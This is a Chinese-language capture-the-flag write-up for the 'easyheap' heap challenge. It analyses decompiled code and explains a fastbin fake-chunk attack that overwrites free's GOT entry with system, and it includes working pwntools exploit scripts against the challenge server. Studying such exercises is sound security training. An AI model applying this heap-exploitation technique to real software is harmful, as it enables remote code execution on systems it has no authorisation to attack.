# 1. 分析程序信息
64 位程序,开启了 nx 和 canary
# 源代码:
# main:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) | |
{ | |
int v3; // eax | |
char buf[8]; // [rsp+0h] [rbp-10h] BYREF | |
unsigned __int64 v5; // [rsp+8h] [rbp-8h] | |
v5 = __readfsqword(0x28u); | |
setvbuf(stdout, 0LL, 2, 0LL); | |
setvbuf(stdin, 0LL, 2, 0LL); | |
while ( 1 ) | |
{ | |
while ( 1 ) | |
{ | |
menu(); | |
read(0, buf, 8uLL); | |
v3 = atoi(buf); | |
if ( v3 != 3 ) | |
break; | |
delete_heap(); | |
} | |
if ( v3 > 3 ) | |
{ | |
if ( v3 == 4 ) | |
exit(0); | |
if ( v3 == 4869 ) | |
{ | |
if ( (unsigned __int64)magic <= 0x1305 ) | |
{ | |
puts("So sad !"); | |
} | |
else | |
{ | |
puts("Congrt !"); | |
l33t(); | |
} | |
} | |
else | |
{ | |
LABEL_17: | |
puts("Invalid Choice"); | |
} | |
} | |
else if ( v3 == 1 ) | |
{ | |
create_heap(); | |
} | |
else | |
{ | |
if ( v3 != 2 ) | |
goto LABEL_17; | |
edit_heap(); | |
} | |
} | |
} |
# delete_heap():
unsigned __int64 delete_heap() | |
{ | |
int v1; // [rsp+Ch] [rbp-14h] | |
char buf[8]; // [rsp+10h] [rbp-10h] BYREF | |
unsigned __int64 v3; // [rsp+18h] [rbp-8h] | |
v3 = __readfsqword(0x28u); | |
printf("Index :"); | |
read(0, buf, 4uLL); | |
v1 = atoi(buf); | |
if ( v1 < 0 || v1 > 9 ) | |
{ | |
puts("Out of bound!"); | |
_exit(0); | |
} | |
if ( *(&heaparray + v1) ) | |
{ | |
free(*(&heaparray + v1)); | |
*(&heaparray + v1) = 0LL; | |
puts("Done !"); | |
} | |
else | |
{ | |
puts("No such heap !"); | |
} | |
return __readfsqword(0x28u) ^ v3; | |
} |
# 133t();【后门】
int l33t() | |
{ | |
return system("cat /home/pwn/flag"); // 有后门 | |
} |
# create_heap()
unsigned __int64 create_heap() | |
{ | |
int i; // [rsp+4h] [rbp-1Ch] | |
size_t size; // [rsp+8h] [rbp-18h] | |
char buf[8]; // [rsp+10h] [rbp-10h] BYREF | |
unsigned __int64 v4; // [rsp+18h] [rbp-8h] | |
v4 = __readfsqword(0x28u); | |
for ( i = 0; i <= 9; ++i ) | |
{ | |
if ( !*(&heaparray + i) ) | |
{ | |
printf("Size of Heap : "); | |
read(0, buf, 8uLL); | |
size = atoi(buf); | |
*(&heaparray + i) = malloc(size); | |
if ( !*(&heaparray + i) ) | |
{ | |
puts("Allocate Error"); | |
exit(2); | |
} | |
printf("Content of heap:"); | |
read_input(*(&heaparray + i), size); | |
puts("SuccessFul"); | |
return __readfsqword(0x28u) ^ v4; | |
} | |
} | |
return __readfsqword(0x28u) ^ v4; | |
} |
# edit_heap()
unsigned __int64 edit_heap() | |
{ | |
int v1; // [rsp+4h] [rbp-1Ch] | |
__int64 v2; // [rsp+8h] [rbp-18h] | |
char buf[8]; // [rsp+10h] [rbp-10h] BYREF | |
unsigned __int64 v4; // [rsp+18h] [rbp-8h] | |
v4 = __readfsqword(0x28u); | |
printf("Index :"); | |
read(0, buf, 4uLL); | |
v1 = atoi(buf); | |
if ( v1 < 0 || v1 > 9 ) | |
{ | |
puts("Out of bound!"); | |
_exit(0); | |
} | |
if ( *(&heaparray + v1) ) | |
{ | |
printf("Size of Heap : "); | |
read(0, buf, 8uLL); | |
v2 = atoi(buf); | |
printf("Content of heap : "); | |
read_input(*(&heaparray + v1), v2); | |
puts("Done !"); | |
} | |
else | |
{ | |
puts("No such heap !"); | |
} | |
return __readfsqword(0x28u) ^ v4; | |
} |
# 2. 逻辑分析
这道题是 堆
的菜单题
main
函数:循环进行选择delete_heap
函数:选择Index号
(0~9 之间)
133t()
函数,可以得到 flag ,但是需要让v3=4869
,无符号整型magic>0x1305
create_heap()
;
创建完堆也要输入内容
edit_heap
,
# 3. 漏洞分析
heaparray_add 存放的是某个地址,而 edit 是通过这个地址,来修改这个地址内对应的值
当我们把 free_got
的地址溢出填入到 heaparray_add[0]
处,通过编辑使 free_got
内部要执行的 free操作
修改为 system
,这使我们后面调用 free
的时候会执行 system
, 当一个 chunk
的 data
区域为 /bin/sh
时,释放该 chunk
即可 getshell
(这里为什么 data 的值被当作了 system 的参数有待考究)
【下面的想法没成功】
首先想要获取 flag 就需要让 v3=4869
,由于没有限制我们可以直接输入,而还需要满足 magic 条件,magic 初始值未知,发现创建堆块,和后面编辑的堆块大小都没有限制条件,并且后面编辑也没有和申请的大小进行对比,这样我们就可以进行堆溢出操作,我想到是利用 double free 通过申请两个堆块,然后释放一个,利用溢出改变释放的堆块的 fd,修改 fd 指向 magic 地址,然后申请回来进行编辑值,然后就可以得到 flag 了
# 调试一下
发现有个 tcachebins
, 看了题目上说明是 Ubuntu16,一般 glibc 版本为 2.23-2.26,因此要切换版本
利用命令:
patchelf --set-interpreter ~/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath ~/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ ~/Desktop/buuctf2/easyheap
切换后就为 fastbin 了(详细的说明在文章 "babyhep_0ctf_2017")
查看存储情况:( x/30gx
)
申请 0,1,2 大小为 0x10,释放 index 1
# edit()
选择 index 0,大小为 0x20,输入 eee
可以从上面看到,覆盖了以前的 aaa
试试溢出,选择 index 0,大小为 0x20,输入 aaaabbbbccccddddeeeeffffgggg
发现已经被覆盖了(这里不知道是什么原因,输入的值前面总会有个字符 a
)
# 选择 fd 指向地址
由于 fd 指向下一个 chunk
的 pre_size
位,这里通常占 0x10 大小( pre位和size位
),所以我们为了能写入 magic
的位置,所以要让 fd
指向 magic地址
的低地址
由于不能任意选取地址(因为 malloc 会有检测机制,会在我们申请的时候检测 size
位是否符合,所以我们要构造一个 fake_chunk
)
先找一个 magic
的低地址,发现有个 0x7f,可以通过适当的偏移来得到一个 0x7f
这样就找到了一个满足 fake_chunk
的地址(0x6020ad)
0x6020b0-0x3 = 0x6020ad
# 总结利用方式
creat 申请 2 个堆块 0,1;delete 释放 1,利用 edit 溢出到 1,修改 1 的 fd 为 0x6020ad
;收回后该 fake_chunk
, 改变 magic
的值,改变最后选择时输入 4869 即可 (没有利用成功)
creat 申请 3 个堆块 0 ,1 , 2 (只用两个行不通,因为申请两个 chunk 的的话,写入 /bin/sh
只能在 chunk0, 而后面会修改 heaparray[0]
的地址为 free_got
的地址,但是 chunk0 访问该地址内容并且可以输入内容,将 free
改为 system
时就会覆盖我们写入的 /bin/sh
,这样无法 getshell ) ,释放堆块 2,利用堆块 1 溢出改变堆块 2 的 fd 的地址为 fake_chunk 地址(溢出时顺便输入字符串 /bin/sh
),此时 fastbin 内: chunk2->fake_chunk
,再次 creat 两次:先是申请 chunk2,然后申请 fake_chunk
通过溢出 fake_chunk 到 heaparray,修改 heaparray [0] 的内存放的地址为 free_got
,由于 chunk0 也是根据 heaparray数组
内存放的地址来寻址,修改后就会访问到 free
的内容可以修改成为 system_plt
, 这样使用 free 函数时就会执行 system
,这时 free(chunk1)
同等与 system("/bin/sh")
# 4.exp:
这里不用 sendline
来换行(因为换行符调了几个小时)
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
p=remote('node4.buuoj.cn',26996) | |
#system=0x0400700 | |
e=ELF("./easyheap") | |
system_add=e.symbols["system"] | |
free_got=e.got["free"] | |
def creat(size,content): | |
p.sendafter("Your choice :","1") | |
p.sendafter("Size of Heap : ",str(size)) | |
p.sendafter("Content of heap:",content) | |
def edit(index,size,content): | |
p.sendafter("Your choice :","2") | |
p.sendafter("Index :",str(index)) | |
p.sendafter("Size of Heap : ",str(size)) | |
p.sendafter("Content of heap : ",content) | |
def delete(index): | |
p.sendafter("Your choice :","3") | |
p.sendafter("Index :",str(index)) | |
#def dump(index): | |
#p.sendlineafter("Command: ","4") | |
#p.sendlineafter("Index: ",str(index)) | |
creat(96,"aaaa") #0 | |
creat(96,"bbbb") ##1 | |
creat(96,"cccc\n") #2 | |
#creat(16,"dddd\n") #3 | |
delete(1) | |
payload=b"/bin/sh\x00"+b"a"*88+p64(0)+p64(0x71)+p64(0x6020ad)#+b"a"*33+p64(free_got) | |
edit(0,len(payload),payload) #0 | |
creat(96,"aaaa") #1 | |
#edit(1,0x60,"/bin/sh") | |
payload2=b"a"*0x20+b"aaa"+p64(free_got) | |
creat(96,payload2) #fake_chunk | |
#edit(4,len(payload2),payload2) | |
paylaod3 = p64(system_add) | |
edit(0,len(paylaod3),paylaod3) | |
#edit(0,len(p64(system_add)),p64(system_add)) | |
delete(0) | |
#p.recv() | |
p.interactive() |
.
.
.
.
第一开始失败的脚本
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
p=remote('node4.buuoj.cn',28377) | |
def creat(size,content): | |
p.sendlineafter("Your choice :","1") | |
p.sendlineafter("Size of Heap : ",str(size)) | |
p.sendlineafter("Content of heap:",content) | |
def edit(index,size,content): | |
p.sendlineafter("Your choice :","2") | |
p.sendlineafter("Index :",str(index)) | |
p.sendlineafter("Size of Heap : ",str(size)) | |
p.sendlineafter("Content of heap : ",content) | |
def delete(index): | |
p.sendlineafter("Your choice :","3") | |
p.sendlineafter("Index :",str(index)) | |
#def dump(index): | |
#p.sendlineafter("Command: ","4") | |
#p.sendlineafter("Index: ",str(index)) | |
creat(0x10,"0") | |
creat(0x10,"0") | |
#creat(0x10) | |
#allocate(0x10) | |
#allocate(0x80) | |
delete(1) | |
#free(2) | |
payload=p64(0)+p64(0)+p64(0)+p64(0x21)+p64(0x6020ad)+b"a"*19+p64(9999) | |
edit(0,0x30,payload) | |
creat(0x10,"0") | |
payloda2=b"a"*3+p64(9999) | |
creat(0x60,payload) | |
p.sendlineafter("Your choice :","4869") | |
p.recv() | |
#payload1=p64(0)*2+p64(0)+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80) | |
#fill(0,len(payload1),payload1) | |
#payload2=p64(0)*3+p64(0x21) | |
#fill(3,len(payload2),payload2) | |
#allocate(0x10) | |
#allocate(0x10) | |
#payload3=p64(0)*3+p64(0x91) | |
#fill(3,len(payload3),payload3) | |
#allocate(0x80) | |
#free(4) | |
#dump(2) | |
#main_arena_88=u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00') | |
#libc_base=main_arena_88-0x3c4b78 | |
#5 | |
#fake_chunk= libc_base+0x3c4aed | |
#6 | |
#allocate (0x60) #回收一部分 chunk4 | |
#free (4) #使 chunk4 进入 fastbin 中 | |
#payload4=p64 (fake_chunk) #改写 chunk4 的 fd 使 fake_chunk 进入 fastbin | |
#fill(2,len(payload4),payload4) | |
#7 | |
#allocate (0x60) #index4,分配 chunk4 | |
#allocate (0x60) #index5,分配 fake_chunk | |
#因为 malloc_hook=main_arena-0x10,fake_chunk=mian_arena-0x33 | |
#所以 malloc_hook=fake_chunk+0x23 (fake_chunk+0x33-0x10) | |
#payload5=p64(0)+p64(0)+p8(0)*3 #0x13 | |
#payload5+=p64 (libc_base+0x4526a) #0x4526a 由 one_gadget 查找得到 | |
#fill(6,len(payload5),payload5) | |
#allocate (0x60) #index6, 执行一次就会执行 malloc_hook,就可以 getshell | |
p.interactive() |